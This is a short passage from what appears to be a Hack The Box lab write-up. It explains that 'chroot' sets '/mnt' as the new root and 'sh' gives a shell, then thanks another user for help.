* `chroot` is the actual command we're using to set the `/mnt` directory as our new root. 
* `sh` simply allows us to use `/bin/sh` as our interpreter for our shell


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a2ob9q8h69qin2fn9izy.png)

It worked! I'm so glad I wasn't afraid to ask for help. Thank you so much [ARZ101](https://app.hackthebox.com/users/283411)!